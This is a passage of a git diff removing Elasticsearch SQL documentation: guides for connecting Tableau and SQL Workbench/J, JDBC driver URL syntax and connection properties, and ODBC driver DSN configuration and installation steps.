-The connection should open automatically (if it has been created before simply click on *Connect* in the *Alias* panel). SQuirreL SQL can now issue SQL commands to {es}:
-
-image:images/sql/client-apps/squirell-7-data.png[]
diff --git a/docs/reference/sql/endpoints/client-apps/tableau.asciidoc b/docs/reference/sql/endpoints/client-apps/tableau.asciidoc
deleted file mode 100644
index 9a16cc8f61d..00000000000
--- a/docs/reference/sql/endpoints/client-apps/tableau.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-tableau]]
-=== Tableau Desktop
-
-You can use the {es} ODBC driver to access {es} data from Tableau Desktop.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://www.tableau.com/products/desktop[Tableau Desktop] 2018 or higher
-* {es-sql} <<sql-odbc, ODBC driver>>
-* A preconfigured User or System DSN (see <<dsn-configuration,Configuration>> section on how to configure a DSN).
-
-==== Data loading
-
-First, you'll need to choose ODBC as the source to load data from. Once launched, click on the _More..._ menu item and in the expanded
-list of connectors, choose _Other Databases (ODBC)_:
-
-[[apps_tableau_fromodbc]]
-.ODBC as data source
-image:images/sql/odbc/apps_tableau_fromodbc.png[]
-
-In the new connection window that appears, select the previously configured DSN that will connect to the desired {es} instance. Press the
-_Connect_ button. In case credentials are needed, a new windows - driver's DSN editor - will be launched and you'll need to provide the
-_Username_ and _Password_ in the respective fields. (Note that these will not be stored as part of the DSN, but only remembered for the
-duration of the session).
-If the connection is successful, the _Connection Attributes_ section of the connection window is populated with the respective details;
-press the _Sign In_ button next:
-
-[[apps_tableau_connd]]
-.Authenticate and sign in
-image:images/sql/odbc/apps_tableau_connd.png[]
-
-In Tableau Desktop's main window then choose the name of {es} instance as the _Database_, select one table that you'd like to load from
-the list (click on the magnifying glass icon to have them all shown), drag the table over the work area, then click the _Update Now_
-button to load a preview of the table:
-
-[[apps_tableau_loaded]]
-.Data loaded
-image:images/sql/odbc/apps_tableau_loaded.png[]
-
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138 columns=140
diff --git a/docs/reference/sql/endpoints/client-apps/workbench.asciidoc b/docs/reference/sql/endpoints/client-apps/workbench.asciidoc
deleted file mode 100644
index 145acbedd28..00000000000
--- a/docs/reference/sql/endpoints/client-apps/workbench.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-client-apps-workbench]]
-=== SQL Workbench/J
-
-You can use the {es} JDBC driver to access {es} data from SQL Workbench/J.
-
-IMPORTANT: Elastic does not endorse, promote or provide support for this application; for native Elasticsearch integration in this product, please reach out to its vendor.
-
-==== Prerequisites
-
-* https://www.sql-workbench.eu/[SQL Workbench/J] build 125 or higher
-* {es-sql} <<sql-jdbc, JDBC driver>>
-
-==== Add {es} JDBC driver
-
-Add the {es} JDBC driver to SQL Workbench/J through *Manage Drivers* either from the main windows in the *File* menu or from the *Connect* window:
-
-image:images/sql/client-apps/workbench-1-manage-drivers.png[]
-
-Select *Elasticsearch* profile from the left-hand side (if it is missing check the SQL Workbench/J version or add a new entry to the list through the blank page button in the upper left corner):
-
-image:images/sql/client-apps/workbench-2-select-driver.png[]
-
-Add the JDBC jar (if the driver name hasn't been picked up already,  click on the magnifier button):
-
-image:images/sql/client-apps/workbench-3-add-jar.png[]
-
-==== Create a new connection profile
-
-With the driver configured, create a new connection profile through *File* > *Connect Window* (or Alt+C shortcut):
-
-image:images/sql/client-apps/workbench-4-connection.png[]
-
-Select the previously configured driver and set the URL of your cluster using the JDBC syntax.
-Verify the connection through the *Test* button - a confirmation window should appear that everything is properly configured.
-
-The setup is complete.
-
-==== Execute SQL queries
-
-SQL Workbench/J is ready to talk to {es} through SQL: click on the profile created to execute statements or explore the data:
-
-image:images/sql/client-apps/workbench-5-data.png[]
diff --git a/docs/reference/sql/endpoints/index.asciidoc b/docs/reference/sql/endpoints/index.asciidoc
deleted file mode 100644
index 924905a2928..00000000000
--- a/docs/reference/sql/endpoints/index.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-include::rest.asciidoc[]
-include::translate.asciidoc[]
-include::cli.asciidoc[]
-include::jdbc.asciidoc[]
-include::odbc.asciidoc[]
-include::client-apps/index.asciidoc[]
diff --git a/docs/reference/sql/endpoints/jdbc.asciidoc b/docs/reference/sql/endpoints/jdbc.asciidoc
deleted file mode 100644
index 836ddc5c049..00000000000
--- a/docs/reference/sql/endpoints/jdbc.asciidoc
+++ /dev/null
@@ -1,216 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-jdbc]]
-== SQL JDBC
-
-{es}'s SQL jdbc driver is a rich, fully featured JDBC driver for {es}.
-It is Type 4 driver, meaning it is a platform independent, stand-alone, Direct to Database,
-pure Java driver that converts JDBC calls to {es-sql}.
-
-[[sql-jdbc-installation]]
-[discrete]
-=== Installation
-
-The JDBC driver can be obtained from:
-
-Dedicated page::
-https://www.elastic.co/downloads/jdbc-client[elastic.co] provides links, typically for manual downloads.
-Maven dependency::
-https://maven.apache.org/[Maven]-compatible tools can retrieve it automatically as a dependency:
-
-["source","xml",subs="attributes"]
-----
-<dependency>
-  <groupId>org.elasticsearch.plugin</groupId>
-  <artifactId>x-pack-sql-jdbc</artifactId>
-  <version>{version}</version>
-</dependency>
-----
-
-from https://search.maven.org/artifact/org.elasticsearch.plugin/x-pack-sql-jdbc[Maven Central Repository],
-or from `artifacts.elastic.co/maven` by adding it to the repositories list:
-
-["source","xml",subs="attributes"]
-----
-<repositories>
-  <repository>
-    <id>elastic.co</id>
-    <url>https://artifacts.elastic.co/maven</url>
-  </repository>
-</repositories>
-----
-
-[[jdbc-setup]]
-[discrete]
-=== Setup
-
-The driver main class is `org.elasticsearch.xpack.sql.jdbc.EsDriver`. 
-Note the driver  implements the JDBC 4.0 +Service Provider+ mechanism meaning it is registered automatically
-as long as it is available in the classpath.
-
-Once registered, the driver understands the following syntax as an URL:
-
-["source","text",subs="attributes"]
-----
-jdbc:[es|elasticsearch]://[[http|https]://]?[host[:port]]?/[prefix]?[\?[option=value]&]*
-----
-`jdbc:[es|elasticsearch]://`:: Prefix. Mandatory.
-
-`[[http|https]://]`:: Type of HTTP connection to make. Possible values are
-`http` (default) or `https`. Optional.
-
-`[host[:port]]`:: Host (`localhost` by default) and port (`9200` by default).
-Optional.
-
-`[prefix]`:: Prefix (empty by default). Typically used when hosting {es} under
-a certain path. Optional.
-
-`[option=value]`:: Properties for the JDBC driver. Empty by default.
-Optional.
-
-The driver recognized the following properties:
-
-[[jdbc-cfg]]
-[discrete]
-===== Essential
-[[jdbc-cfg-timezone]]
-`timezone` (default JVM timezone)::
-Timezone used by the driver _per connection_ indicated by its `ID`. 
-*Highly* recommended to set it (to, say, `UTC`) as the JVM timezone can vary, is global for the entire JVM and can't be changed easily when running under a security manager.
-
-[[jdbc-cfg-network]]
-[discrete]
-===== Network
-
-`connect.timeout` (default 30s)::
-Connection timeout (in seconds). That is the maximum amount of time waiting to make a connection to the server.
-
-`network.timeout` (default 60s)::
-Network timeout (in seconds). That is the maximum amount of time waiting for the network.
-
-`page.timeout` (default 45s)::
-Page timeout (in seconds). That is the maximum amount of time waiting for a page.
-
-`page.size` (default 1000)::
-Page size (in entries). The number of results returned per page by the server.
-
-`query.timeout` (default 90s)::
-Query timeout (in seconds). That is the maximum amount of time waiting for a query to return.
-
-[[jdbc-cfg-auth]]
-[discrete]
-==== Basic Authentication
-
-`user`:: Basic Authentication user name
-
-`password`:: Basic Authentication password
-
-[[jdbc-cfg-ssl]]
-[discrete]
-==== SSL
-
-`ssl` (default false):: Enable SSL
-
-`ssl.keystore.location`:: key store (if used) location
-
-`ssl.keystore.pass`:: key store password
-
-`ssl.keystore.type` (default `JKS`):: key store type. `PKCS12` is a common, alternative format
-
-`ssl.truststore.location`:: trust store location
-
-`ssl.truststore.pass`:: trust store password
-
-`ssl.truststore.type` (default `JKS`):: trust store type. `PKCS12` is a common, alternative format
-
-`ssl.protocol`(default `TLS`):: SSL protocol to be used
-
-[discrete]
-==== Proxy
-
-`proxy.http`:: Http proxy host name
-
-`proxy.socks`:: SOCKS proxy host name
-
-[discrete]
-==== Mapping
-`field.multi.value.leniency` (default `true`):: Whether to be lenient and return the first value (without any guarantees of what that
-will be - typically the first in natural ascending order) for fields with multiple values (true) or throw an exception.
-
-[discrete]
-==== Index
-`index.include.frozen` (default `false`):: Whether to include <<frozen-indices, frozen-indices>> in the query execution or not (default).
-
-[discrete]
-==== Additional
-
-`validate.properties` (default true):: If disabled, it will ignore any misspellings or unrecognizable properties. When enabled, an exception
-will be thrown if the provided property cannot be recognized.
-
-
-To put all of it together, the following URL:
-
-["source","text"]
-----
-jdbc:es://http://server:3456/?timezone=UTC&page.size=250
-----
-
-opens up a {es-sql} connection to `server` on port `3456`, setting the JDBC connection timezone to `UTC` and its pagesize to `250` entries.
-
-=== API usage
-
-One can use JDBC through the official `java.sql` and `javax.sql` packages:
-
-[[java-sql]]
-==== `java.sql`
-The former through `java.sql.Driver` and `DriverManager`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{jdbc-tests}/JdbcIntegrationTestCase.java[connect-dm]
---------------------------------------------------
-<1> The server and port on which Elasticsearch is listening for
-HTTP traffic. The port is by default 9200.
-<2> Properties for connecting to Elasticsearch. An empty `Properties`
-instance is fine for unsecured Elasticsearch.
-
-[[javax-sql]]
-==== `javax.sql`
-
-Accessible through the `javax.sql.DataSource` API:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{jdbc-tests}/JdbcIntegrationTestCase.java[connect-ds]
---------------------------------------------------
-<1> The server and port on which Elasticsearch is listening for
-HTTP traffic. By default 9200.
-<2> Properties for connecting to Elasticsearch. An empty `Properties`
-instance is fine for unsecured Elasticsearch.
-
-Which one to use? Typically client applications that provide most
-configuration properties in the URL rely on the `DriverManager`-style
-while `DataSource` is preferred when being _passed_ around since it can be
-configured in one place and the consumer only has to call `getConnection`
-without having to worry about any other properties.
-
-To connect to a secured Elasticsearch server the `Properties`
-should look like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{security-tests}/JdbcSecurityIT.java[admin_properties]
---------------------------------------------------
-
-Once you have the connection you can use it like any other JDBC
-connection. For example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{jdbc-tests}/SimpleExampleTestCase.java[simple_example]
---------------------------------------------------
-
-[NOTE]
-{es-sql} doesn't provide a connection pooling mechanism, thus the connections
-the JDBC driver creates are not pooled. In order to achieve pooled connections,
-a third-party connection pooling mechanism is required. Configuring and setting up the
-third-party provider is outside the scope of this documentation.
diff --git a/docs/reference/sql/endpoints/odbc.asciidoc b/docs/reference/sql/endpoints/odbc.asciidoc
deleted file mode 100644
index a7c583ce175..00000000000
--- a/docs/reference/sql/endpoints/odbc.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-:odbc: {es-sql} ODBC Driver
-
-[role="xpack"]
-[testenv="platinum"]
-[[sql-odbc]]
-== SQL ODBC
-
-[[sql-odbc-overview]]
-[discrete]
-=== Overview
-
-{odbc} is a 3.80 compliant ODBC driver for {es}.
-It is a core level driver, exposing all of the functionality accessible through
-the {es}'s SQL API, converting ODBC calls into {es-sql}.
-
-In order to make use of the driver, the server must have {es-sql} installed and
-running with the valid license.
-
-* <<sql-odbc-installation, Driver installation>>
-* <<sql-odbc-setup, Configuration>>
-
-include::odbc/installation.asciidoc[]
-include::odbc/configuration.asciidoc[]
-
-// vim: set noet fenc=utf-8 ff=dos sts=0 sw=4 ts=4 tw=138
diff --git a/docs/reference/sql/endpoints/odbc/configuration.asciidoc b/docs/reference/sql/endpoints/odbc/configuration.asciidoc
deleted file mode 100644
index eda7b9ee9b5..00000000000
--- a/docs/reference/sql/endpoints/odbc/configuration.asciidoc
+++ /dev/null
@@ -1,485 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-odbc-setup]]
-=== Configuration
-
-Once the driver has been installed, in order for an application to be able to connect to {es} through ODBC, a set of configuration parameters must be provided to the driver. Depending on the application, there are generally three ways of providing these parameters:
-
-* through a connection string;
-* using a User DSN or System DSN;
-* through a File DSN.
-
-DSN (_data source name_) is a generic name given to the set of parameters an ODBC driver needs to connect to a database.
-
-We will refer to these parameters as _connection parameters_ or _DSN_ (despite some of these parameters configuring some other aspects of a driver's functions; e.g. logging, buffer sizes...).
-
-Using a DSN is the most widely used, simplest and safest way of performing the driver configuration. Constructing a connection string, on the other hand, is the most crude way and consequently the least common method.
-
-We will focus on DSN usage only.
-
-[[data-source-administrator]]
-==== 1. Launching ODBC Data Source Administrator
-
-For DSN management, ODBC provides the _ODBC Data Source Administrator_ application, readily installed on all recent desktop Windows operating systems.
-
-- The 32-bit version of the Odbcad32.exe file is located in the `%systemdrive%\Windows\SysWoW64` folder.
-- The 64-bit version of the Odbcad32.exe file is located in the `%systemdrive%\Windows\System32` folder.
-
-To launch it, open the search menu - _Win + S_ - and type "ODBC Data Sources (64-bit)" or "ODBC Data Sources (32-bit)" and press _Enter_:
-
-[[launch_administrator]]
-.Launching ODBC Data Source Administrator
-image:images/sql/odbc/launch_administrator.png[]
-
-Once launched, you can verify that the driver was installed correctly by clicking on the _Drivers_ tab of the ODBC Data Source Administrator and checking that _Elasticsearch Driver_ is present in the list of installed drivers.
-
-You should also see the version number of the installed driver.
-
-[[administrator_drivers]]
-.Drivers tab
-image:images/sql/odbc/administrator_drivers.png[]
-
-[[dsn-configuration]]
-==== 2. Configure a DSN
-The next step is to configure a DSN. You can choose between the following options mapped on the first three tabs of the Administrator application:
-
-* User DSN
-+
-The connections configured under this tab are only available to the currently logged in user. Each of these DSNs are referred to by a chosen arbitrary name (typically a host or cluster name).
-+
-The actual set of parameters making up the DSN is stored through the driver in the system registry. Thus, a user will later only need to provide an application with the DSN name in order to connect to the configured {es} instance.
-+
-* System DSN
-+
-Similar to a User DSN, except that the connections configured under this tab will be available to all the users configured on the system.
-* File DSN
-+
-This tab contains functionality that will allow to have one set of connection parameters written into a file, rather then the Registry.
-+
-Such a file can be then shared among multiple systems and the user will need to specify the path to it, in order to have the application connect to the configured {es} instance.
-
-The configuration steps are similar for all the above points. Following is an example of configuring a System DSN.
-
-[discrete]
-===== 2.1 Launch {odbc} DSN Editor
-Click on the _System DSN_ tab, then on the _Add..._ button:
-
-[[system_add]]
-.Add a new DSN
-image:images/sql/odbc/administrator_system_add.png[]
-
-A new window will open, listing all available installed drivers. Click on _{es} Driver_, to highlight it, then on the _Finish_ button:
-
-[[launch_editor]]
-.Launch the DSN Editor
-image:images/sql/odbc/administrator_launch_editor.png[]
-
-This action closes the previously opened second window and open a new one instead, {odbc}'s DSN Editor:
-
-[[dsn_editor]]
-.{odbc} DSN Editor
-image:images/sql/odbc/dsn_editor_basic.png[]
-
-This new window has three tabs, each responsible for a set of configuration parameters, as follows.
-
-[discrete]
-===== 2.2 Connection parameters
-This tab allows configuration for the following items:
-
-* Name
-+
-This is the name the DSN will be referred by.
-+
-NOTE: The characters available for this field are limited to the set permitted for a Registry key.
-+
-Example: _localhost_
-+
-* Description
-+
-This field allows a arbitrary text; generally used for short notes about the configured connection.
-+
-Example: _Clear-text connection to the local [::1]:9200._
-+
-* Cloud ID
-+
-The _Cloud ID_ is a string that simplifies the configuration when connecting to
-Elastic's Cloud {ess}; it is obtained from within the Cloud console of each
-{es} cluster and encodes the connection parameters to that cluster.
-+
-NOTE: When this field is provisioned, the _Hostname_, _Port_ and the security
-settings are provisioned as well and their respective inputs disabled.
-+
-* Hostname
-+
-This field requires an IP address or a resolvable DNS name of the {es} instance that the driver will connect to.
-+
-Example: _::1_
-+
-* Port
-+
-The port on which the {es} listens on.
-+
-NOTE: If left empty, the default *9200* port number will be used.
-+
-* Username, Password
-+
-If security is enabled, these fields will need to contain the credentials of the access user.
-
-At a minimum, the _Name_ and _Hostname_ fields must be provisioned, before the DSN can be saved.
-
-WARNING: Connection encryption is enabled by default. This will need to be changed if connecting to an {es} node with no encryption.
-
-[discrete]
-===== 2.3 Cryptography parameters
-One of the following SSL options can be chosen:
-
-* Disabled. All communications unencrypted.
-+
-The communication between the driver and the {es} instance is performed over a clear-text connection.
-+
-WARNING: This setting can expose the access credentials to a 3rd party intercepting the network traffic and is not recommended.
-+
-* Enabled. Certificate not validated.
-+
-The connection encryption is enabled, but the certificate of the server is not validated.
-+
-This is currently the default setting.
-+
-NOTE: This setting allows a 3rd party to act with ease as a man-in-the-middle and thus intercept all communications.
-+
-* Enabled. Certificate is validated; hostname not validated.
-+
-The connection encryption is enabled and the driver verifies that server's certificate is valid, but it does *not* verify if the
-certificate is running on the server it was meant for.
-+
-NOTE: This setting allows a 3rd party that had access to server's certificate to act as a man-in-the-middle and thus intercept all the
-communications.
-+
-* Enabled. Certificate is validated; hostname validated.
-+
-The connection encryption is enabled and the driver verifies that both the certificate is valid, as well as that it is being deployed on
-the server that the certificate was meant for.
-+
-* Enabled. Certificate identity chain validated.
-+
-This setting is equivalent to the previous one, with one additional check against certificate's revocation. This offers the strongest
-security option and is the recommended setting for production deployments.
-+
-* Certificate File
-+
-In case the server uses a certificate that is not part of the PKI, for example using a self-signed certificate, you can configure the path to a X.509 certificate file that will be used by the driver to validate server's offered certificate.
-+
-The driver will only read the contents of the file just before a connection is attempted. See <<connection_testing>> section further on how to check the validity of the provided parameters.
-+
-NOTE: The certificate file can not be bundled or password protected since the driver will not prompt for a password.
-+
-If using the file browser to locate the certificate - by pressing the _Browse..._ button - only files with _.pem_ and _.der_ extensions
-will be considered by default. Choose _All Files (\*.*)_ from the drop down, if your file ends with a different extension:
-+
-[[dsn_editor_cert]]
-.Certificate file browser
-image:images/sql/odbc/dsn_editor_security_cert.png[]
-
-[discrete]
-===== 2.4 Connection parameters
-The connection configuration can further be tweaked by the following parameters.
-
-* Request timeout (s)
-+
-The maximum number of seconds for a request to the server. The value 0 disables the timeout.
-This corresponds to the `Timeout` setting in <<odbc-cfg-dsnparams>>.
-+
-* Max page size (rows)
-+
-The maximum number of rows that Elasticsearch SQL server should send the driver for one page.
-This corresponds to the `MaxFetchSize` setting in <<odbc-cfg-dsnparams>>.
-+
-* Max page length (MB)
-+
-The maximum number of megabytes that the driver will accept for one page.
-This corresponds to the `MaxBodySizeMB` setting in <<odbc-cfg-dsnparams>>.
-+
-* Varchar limit
-+
-The maximum character length of the string type columns.
-this correspeonds to the `VarcharLimit` setting in <<odbc-cfg-dsnparams>>.
-+
-* Floats format
-+
-How should the floating point numbers be printed, when these are converted to string by the driver.
-This corresponds to the `ScientificFloats` setting in <<odbc-cfg-dsnparams>>.
-+
-* Data encoding
-+
-How should the data between the server and the driver be encoded as.
-This corresponds to the `Packing` setting in <<odbc-cfg-dsnparams>>.
-+
-* Data compression
-+
-Should the data between the server and the driver be compressed?
-This corresponds to the `Compression` setting in <<odbc-cfg-dsnparams>>.
-+
-* Follow HTTP redirects
-+
-Should the driver follow HTTP redirects of the requests to the server?
-This corresponds to the `Follow` setting in <<odbc-cfg-dsnparams>>.
-+
-* Use local timezone
-+
-Should the driver use machine's local timezone? The default is UTC.
-This corresponds to the `ApplyTZ` setting in <<odbc-cfg-dsnparams>>.
-+
-* Auto-escape PVAs
-+
-Should the driver auto-escape the pattern-value arguments?
-This corresponds to the `AutoEscapePVA` setting in <<odbc-cfg-dsnparams>>.
-+
-* Multi value field lenient
-+
-Should the server return one value out of a multi-value field (instead of rejecting the request)?
-This corresponds to the `MultiFieldLenient` setting in <<odbc-cfg-dsnparams>>.
-+
-* Include frozen indices
-+
-Should the server consider the frozen indices when servicing a request?
-This corresponds to the `IndexIncludeFrozen` setting in <<odbc-cfg-dsnparams>>.
-+
-* Early query execution
-+
-Should the driver execute a non-parameterized query as soon as it's submitted
-for preparation?
-This corresponds to the `EarlyExecution` setting in <<odbc-cfg-dsnparams>>.
-
-
-[[dsn_editor_misc]]
-.Connection parameters
-image:images/sql/odbc/dsn_editor_misc.png[]
-
-[discrete]
-===== 2.5 Logging parameters
-For troubleshooting purposes, the {odbc} offers functionality to log the API calls that an application makes; this is enabled in the Administrator application:
-
-[[administrator_tracing]]
-.Enable Application ODBC API logging
-image:images/sql/odbc/administrator_tracing.png[]
-
-However, this only logs the ODBC API calls made by the application into the _Driver Manager_ and not those made by the _Driver Manager_ into the driver itself. To enable logging of the calls that the driver receives, as well as internal driver processing events, you can enable driver's logging on Editor's _Logging_ tab:
-
-* Enable Logging?
-+
-Ticking this will enable driver's logging. A logging directory is also mandatory when this option is enabled (see the next option).
-However the specified logging directory will be saved in the DSN if provided, even if logging is disabled.
-+
-* Log Directory
-+
-Here is to specify which directory to write the log files in.
-+
-NOTE: The driver will create *one log file per connection*, for those connections that generate logging messages.
-+
-* Log Level
-+
-Configure the verbosity of the logs.
-+
-[[administrator_logging]]
-.Enable driver logging
-image:images/sql/odbc/dsn_editor_logging.png[]
-+
-When authentication is enabled, the password will be redacted from the logs.
-
-NOTE: Debug-logging can quickly lead to the creation of many very large files and generate significant processing overhead. Only enable if
-instructed so and preferably only when fetching low volumes of data.
-
-[discrete]
-[[connection_testing]]
-===== 2.5 Testing the connection
-Once the _Hostname_, the _Port_ (if different from implicit default) and the SSL options are configured, you can test if the provided
-parameters are correct by pressing the _Test Connection_ button. This will instruct the driver to connect to the {es} instance and perform
-a simple SQL test query. (This will thus require a running {es} instance with the SQL plugin enabled.)
-
-[[dsn_editor_conntest]]
-.Connection testing
-image:images/sql/odbc/dsn_editor_conntest.png[]
-
-NOTE: When connection testing, all the configured parameters are taken into account, including the logging configuration. This will allow
-early detection of potential file/directory access rights conflicts.
-
-See <<alternative_logging>> section further for an alternative way of configuring the logging.
-
-[[available-dsn]]
-==== 3. DSN is available
-Once everything is in place, pressing the _Save_ button will store the configuration into the chosen destination (Registry or file).
-
-Before saving a DSN configuration the provided file/directory paths are verified to be valid on the current system. The DSN editor
-will however not verify in any way the validity or reachability of the configured _Hostname_ : _Port_. See <<connection_testing>>
-for an exhaustive check.
-
-If everything is correct, the name of the newly created DSN will be listed as available to use:
-
-[[system_added]]
-.Connection added
-image:images/sql/odbc/administrator_system_added.png[]
-
-[[alternative_logging]]
-==== Alternative logging configuration
-
-Due to the specification of the ODBC API, the driver will receive the configured DSN parameters - including the logging ones - only once a
-connection API is invoked (such as _SQLConnect_ or _SQLDriverConnect_). The _Driver Manager_ will however always make a set of API calls
-into the driver before attempting to establish a connection. To capture those calls as well, one needs to pass logging configuration
-parameters in an alternative way. The {odbc} will use an environment variable for this purpose.
-
-Configuring an environment variable is OS specific and not detailed in this guide. Whether the variable should be configured system-wide
-or user-specific depends on the way the ODBC-enabled application is being run and if logging should affect the current user only or not.
-
-The definition of the environment variable needs to be done as follows:
-
-* Name: _ESODBC_LOG_DIR_
-
-* Value: [path](?[level]), where:
-+
-[path] is the path to the directory where the log files will be written into;
-+
-[level] is optional and can take one of the following values: _debug_, _info_, _warn_, _error_; if not provided, _debug_ is assumed.
-
-[[env_var_logging]]
-.Logging environment variable
-image:images/sql/odbc/env_var_log.png[]
-
-NOTE: When enabling the logging through the environment variable, the driver will create *one log file per process*.
-
-Both ways of configuring the logging can coexist and both can use the same
-destination logging directory. However, one logging message will only be logged
-once, the connection logging taking precedence over the environment variable
-logging.
-
-[[odbc-cfg-dsnparams]]
-[discrete]
-==== Connection string parameters
-
-The following is a list of additional parameters that can be configured for a
-particular connection, in case the default behavior of the driver is not
-suitable. For earlier versions of the driver, this needs to be done within the
-client application, in a manner particular to that application, generally in a
-free text input box (sometimes named "Connection string", "String extras", or
-similar).  The format of the string is `Attribute1=Value1`. Multiple attributes
-can be specified, separated by a semicolon
-`Attribute1=Value1;Attribute2=Value2;`. The attribute names are given below.
-
-`Timeout` (default: `0`)::
-The maximum time (in seconds) a request to the server can take. This can be
-overridden by a larger statement-level timeout setting. The value 0 means no
-timeout.
-
-
-`Follow` (default: `yes`)::
-A boolean value (`yes`|`no` / `true`|`false` / `0`|`1`) controlling if the
-driver will follow HTTP redirects.
-
-
-`Packing` (default: `CBOR`)::
-This value controls which data format to encode the REST content in. Possible
-values are:
-
-* `CBOR`: use the Concise Binary Object Representation format. This is the
-preferred encoding, given its more compact format.
-
-* `JSON`: use the JavaScript Object Notation format. This format is more
-verbose, but easier to read, useful in debugging cases.
-
-
-`Compression` (default: `auto`)::
-This value controls if and when the REST content - encoded in one of the above
-formats -  is going to be compressed. The possible values are:
-
-* `on`: enables the compression;
-
-* `off`: disables the compression;
-
-* `auto`: enables the compression, except for the case when the data flows
-through a secure connection; since in this case the encryption layer employs
-its own data compression and there can be security implications when an
-additional compression is enabled, the setting should be kept to this value.
-
-
-`MaxFetchSize` (default: `0`)::
-The maximum number of rows that {es-sql} server should send the driver for one
-page. This corresponds to {es-sql}'s request parameter `fetch_size` (see
-<<sql-rest-fields>>). The value 0 means server default.
-
-
-`MaxBodySizeMB` (default: `100`)::
-The maximum size (in megabytes) that an answer can grow to, before being
-rejected as too large by the driver.
-This is concerning the HTTP answer body of one page, not the cumulated data
-volume that a query might generate.
-
-
-`VarcharLimit` (default: `0`)::
-The maximum width of the string columns.
-If this setting is greater than zero, the driver will advertise all the string
-type columns as having a maximum character length equal to this value and will
-truncate any longer string to it. The string types are textual fields
-(TEXT, KEYWORD etc.) and some specialized fields (IP, the GEOs etc.). Note that
-no interpretation of the value is performed before trunctation, which can lead
-to invalid values if the limit is set too low.
-This is required for those applications that do not support column lengths as
-large as {es} fields can be.
-
-
-`ApplyTZ` (default: `no`)::
-A boolean value controlling the timezone of:
-
-* the context in which the query will execute (especially relevant for functions dealing with timestamp components);
-
-* the timestamps received from / sent to the server.
-If disabled, the UTC timezone will apply; otherwise, the local machine's set
-timezone.
-
-
-`ScientificFloats` (default: `default`)::
-Controls how the floating point numbers will be printed, when these are
-converted to string by the driver. Possible values given to this parameter:
-
-* `scientific`: the exponential notation (ex.: 1.23E01);
-
-* `default`: the default notation (ex.: 12.3);
-
-* `auto`: the driver will choose one of the above depending on the value to be
-printed.
-Note that the number of decimals is dependent on the precision (or ODBC scale)
-of the value being printed and varies with the different floating point types
-supported by {es-sql}.
-This setting is not effective when the application fetches from the driver the
-values as numbers and then does the conversion subsequently itself.
-
-
-`MultiFieldLenient` (default: `true`)::
-This boolean parameter controls the behavior of the server in case a
-multi-value field is queried. In case this is set and the server encounters
-such a field, it will pick a value in the set - without any guarantees of what
-that will be, but typically the first in natural ascending order - and return
-it as the value for the column. If not set, the server will return an error.
-This corresponds to {es-sql}'s request parameter `field_multi_value_leniency`
-(see <<sql-rest-fields>>).
-
-
-`AutoEscapePVA` (default: `true`)::
-The pattern-value arguments make use of `_` and `%` as special characters to
-build patern matching values. Some applications however use these chars as
-regular ones, which can lead to {es-sql} returning more data than the app
-intended. With the auto escaping, the driver will inspect the arguments and
-will escape these special characters if not already done by the application.
-
-
-`IndexIncludeFrozen` (default: `false`)::
-If this parameter is `true`, the server will include the frozen indices in the
-query execution.
-This corresponds to {es-sql}'s request parameter `index_include_frozen`
-
-
-`EarlyExecution` (default: `true`)::
-If this parameter is `true`, the driver will execute a statement as soon as the
-application submits it for preparation, i.e. early and is functionally
-equivalent to a direct execution. This will only happen if the query lacks
-parameters. Early execution is useful with those applications that inspect the
-result before actually executing the query. {es-sql} lacks a preparation API,
-so early execution is required for interoperability with these applications.
diff --git a/docs/reference/sql/endpoints/odbc/installation.asciidoc b/docs/reference/sql/endpoints/odbc/installation.asciidoc
deleted file mode 100644
index 8f264c7f9ee..00000000000
--- a/docs/reference/sql/endpoints/odbc/installation.asciidoc
+++ /dev/null
@@ -1,167 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[sql-odbc-installation]]
-=== Driver installation
-
-The {odbc} can be installed on Microsoft Windows using an MSI package. The installation process is simple and is composed of standard MSI wizard steps.
-
-[[prerequisites]]
-==== Installation Prerequisites
-
-The recommended installation platform is Windows 10 64 bit _or_ Windows Server 2016 64 bit.
-
-Before you install the {odbc} you need to meet the following prerequisites;
-
-* .NET Framework 4.0 full - https://www.microsoft.com/en-au/download/details.aspx?id=17718
-* Microsoft Visual C++ Redistributable for Visual Studio 2017 - https://support.microsoft.com/en-au/help/2977003/the-latest-supported-visual-c-downloads
-- The 64 bit driver requires the x64 redistributable
-- The 32 bit driver requires the x86 or the x64 redistributable (the latter also installs the components needed for the 32 bit driver)
-* Elevated privileges (administrator) for the User performing the installation.
-
-If you fail to meet any of the prerequisites the installer will show an error message and abort the installation.
-
-NOTE: It is not possible to inline upgrade using the MSI. In order to upgrade, you will first have to uninstall the old driver and then install the new driver.
-
-NOTE: When installing the MSI, the Windows Defender SmartScreen might warn
-about running an unrecognized app. If the MSI has been downloaded from
-Elastic's web site, it is safe to acknowledge the message by allowing the
-installation to continue (`Run anyway`).
-
-[[download]]
-==== Download the `.msi` package(s)
-
-Download the `.msi` package for {odbc} {version} from:
-https://www.elastic.co/downloads/odbc-client
-
-There are two versions of the installer available:
-
-- *32 bit driver (x86)* for use with the Microsoft Office 2016 suite of applications; notably Microsoft Excel and Microsoft Access and other 32 bit based programs.
-- *64 bit driver (x64)* recommended for use with all other applications.
-
-Users should consider downloading and installing both the 32 and 64 bit drivers for maximum compatibility across applications installed on their system.
-
-[[installation-gui]]
-==== Installation using the graphical user interface (GUI)
-
-Double-click the downloaded `.msi` package to launch a GUI wizard that will guide you through the installation process.
-
-You will first be presented with a welcome screen:
-
-image::images/sql/odbc/installer_started.png[Installer Welcome Screen]
-
-Clicking *Next* will present the End User License Agreement. You will need to accept the license agreement in order to continue the installation.
-
